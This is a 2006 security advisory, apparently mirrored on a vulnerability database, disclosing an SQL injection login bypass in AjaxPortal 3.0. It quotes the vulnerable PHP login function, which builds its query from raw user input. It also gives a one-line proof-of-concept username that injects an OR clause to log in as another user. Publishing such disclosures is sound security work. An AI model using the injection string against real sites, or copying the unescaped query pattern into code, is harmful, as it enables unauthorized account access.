Lucene search
K

advisory-355.txt

🗓️ 09 Jul 2006 00:00:00Reported by trueend5Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 28 Views

AjaxPortal v. 3.0 SQL Injection Vulnerability loginADP Function Input Validation Erro

Code
`  
  
KAPDA New advisory  
  
Vendor: http://myiosoft.com  
Vulnerable: AjaxPortal v. 3.0  
Bug: Sql Injection (Authentication Bypass)  
Exploitation: Remote with browser  
  
Description:  
--------------------  
AjaxPortal is based on Sajax technology - an open  
source tool to make programming websites using the  
Ajax framework known as XMLHTTPRequest or remote  
scripting as easy as possible.customizable full  
featured content management tool written in PHP, using  
javascript and Mysql.  
  
Vulnerability:  
--------------------  
Input Validation error in loginADP Function that  
result in Login bypass when Magic quotes is disabled.  
  
Code Snippets:  
/ajaxp.php Lines: #568-593  
  
function loginADP($username,$password,$remember){  
$badlogin = 0;  
if(isLoggedIn()){ return "Sucsess!"; }  
$query = "SELECT * FROM ".PREFIX."ajaxp_users  
WHERE username='$username' AND  
password=PASSWORD('$password') AND active=1 LIMIT  
1";  
$result = mysql_query($query);  
if(mysql_num_rows($result) > 0){  
$userinfo = mysql_fetch_array($result);  
$_SESSION['sess_username'] =  
$userinfo['username'];  
$_SESSION['sess_firstname'] =  
$userinfo['firstname'];  
$_SESSION['sess_lastname'] =  
$userinfo['lastname'];  
$_SESSION['sess_userid'] =  
$userinfo['user_id'];  
$_SESSION['sess_accesslevel'] =  
$userinfo['accesslevel'];  
$_SESSION['sess_usermd5'] = $userinfo['md5'];  
$_SESSION['sess_theme_id'] =  
$userinfo['theme_id'];  
$_SESSION['sess_last_ip'] =  
$_SERVER['REMOTE_ADDR'];  
$_SESSION['sess_logged_in'] = 1;  
$query = "UPDATE ".PREFIX."ajaxp_users SET  
last_login=NOW(),  
last_ip=\"".$_SERVER['REMOTE_ADDR']."\" WHERE  
user_id=".$userinfo['user_id']."";  
mysql_query($query);  
if($remember==1)  
{$_SESSION['remember']=$userinfo['user_id'];} else {  
unset($_SESSION['remember']); }  
$badlogin = 0;  
return "Sucsess!";  
} else {  
$badlogin = 1;  
}  
POC:  
--------------------  
Username:a' or user_id=22/*  
Password:abcdef  
  
  
Solution:  
--------------------  
No Response from vendor.  
  
Original Advisories:  
--------------------  
http://www.kapda.ir/advisory-355.html  
  
  
Credit :  
--------------------  
Discovered & released by trueend5 (trueend5 kapda ir)  
Security Science Researchers Institute Of Iran  
[http://www.KAPDA.ir]  
  
__________________________________________________  
Do You Yahoo!?  
Tired of spam? Yahoo! Mail has the best spam protection around   
http://mail.yahoo.com   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation